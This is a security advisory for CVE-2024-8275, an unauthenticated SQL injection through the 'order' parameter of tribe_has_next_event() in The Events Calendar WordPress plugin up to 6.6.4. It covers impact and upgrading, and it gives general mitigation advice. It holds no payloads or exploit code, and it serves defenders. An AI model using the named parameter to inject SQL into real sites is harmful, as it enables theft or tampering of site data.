CVE-2024-8275
Overview
This vulnerability is a SQL Injection flaw caused by improper sanitization and escaping of the 'order' parameter within the 'tribe_has_next_event' function of the The Events Calendar WordPress plugin. The root cause lies in the direct incorporation of user-supplied input into SQL queries without adequate parameterization or preparation. This affects all versions of the plugin up to and including 6.6.4, specifically impacting sites that manually invoke the tribe_has_next_event() function.
Vulnerability Description
The The Events Calendar plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'tribe_has_next_event' function in all versions up to, and including, 6.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Only sites that have manually added tribe_has_next_event() will be vulnerable to this SQL injection.
Impact
An unauthenticated attacker can exploit this flaw remotely to perform unauthorized SQL queries, potentially extracting sensitive database information or modifying data. Since no authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), the vulnerability allows high-impact compromise including confidentiality, integrity, and availability breaches (C:H/I:H/A:H). The exploitation scope is limited to sites that have manually integrated the tribe_has_next_event() function, but for those, it poses a critical risk of data exposure and service disruption.
Solution
Users of The Events Calendar plugin should upgrade to a version later than 6.6.4 where this vulnerability is addressed. The vendor’s knowledge base and Wordfence advisory provide detailed patch information. Specifically, review the plugin update notes at https://www.wordfence.com/threat-intel/vulnerabilities/id/f59891c7-db1a-4688-8616-8877d7d7960d and apply the latest plugin release from the official repository. Sites that manually added tribe_has_next_event() should audit their code and apply vendor-recommended patches as detailed in the official documentation.

Full Analysis
The vulnerability in the Events Calendar plugin for WordPress stems from a critical SQL injection flaw within the 'tribe_has_next_event' function. This issue arises due to inadequate escaping of the 'order' parameter, allowing attackers to manipulate SQL queries executed by the application. When user-supplied input is not properly sanitized, it opens the door for malicious actors to inject arbitrary SQL commands. This vulnerability affects all versions of the plugin up to and including 6.6.4, specifically in instances where the function has been manually integrated into the site’s codebase. The lack of sufficient preparation in the SQL query construction is a fundamental oversight that can lead to severe security breaches.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting websites that utilize the Events Calendar plugin. An unauthenticated attacker can craft a malicious request that includes a specially formatted 'order' parameter, which, when processed by the vulnerable function, allows the attacker to append additional SQL queries. This could lead to unauthorized access to sensitive data, such as user credentials, personal information, or even the ability to modify or delete records in the database. Attackers may leverage automated tools to scan for vulnerable installations, making it feasible for them to exploit this flaw across a wide range of WordPress sites with minimal effort.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on the Events Calendar plugin for managing events and user interactions. Successful exploitation can lead to data breaches, resulting in the exposure of sensitive customer information and potentially damaging the organization’s reputation. Furthermore, the financial implications can be significant, ranging from regulatory fines to the costs associated with incident response and remediation efforts. The risk is exacerbated for organizations that handle sensitive data, as they may face legal repercussions and loss of customer trust, which can have long-lasting effects on their operations.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Events Calendar plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAF) can help filter out malicious requests before they reach the application. Conducting routine security assessments and code reviews can also aid in identifying and remediating vulnerabilities in custom implementations of the plugin. Furthermore, organizations should consider employing input validation and parameterized queries in their code to prevent SQL injection attacks from occurring in the first place.
In conclusion, the SQL injection vulnerability in the Events Calendar plugin poses a significant threat to WordPress sites that utilize this functionality. The potential for unauthorized data access and manipulation highlights the importance of secure coding practices and proactive security measures. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities in the future.
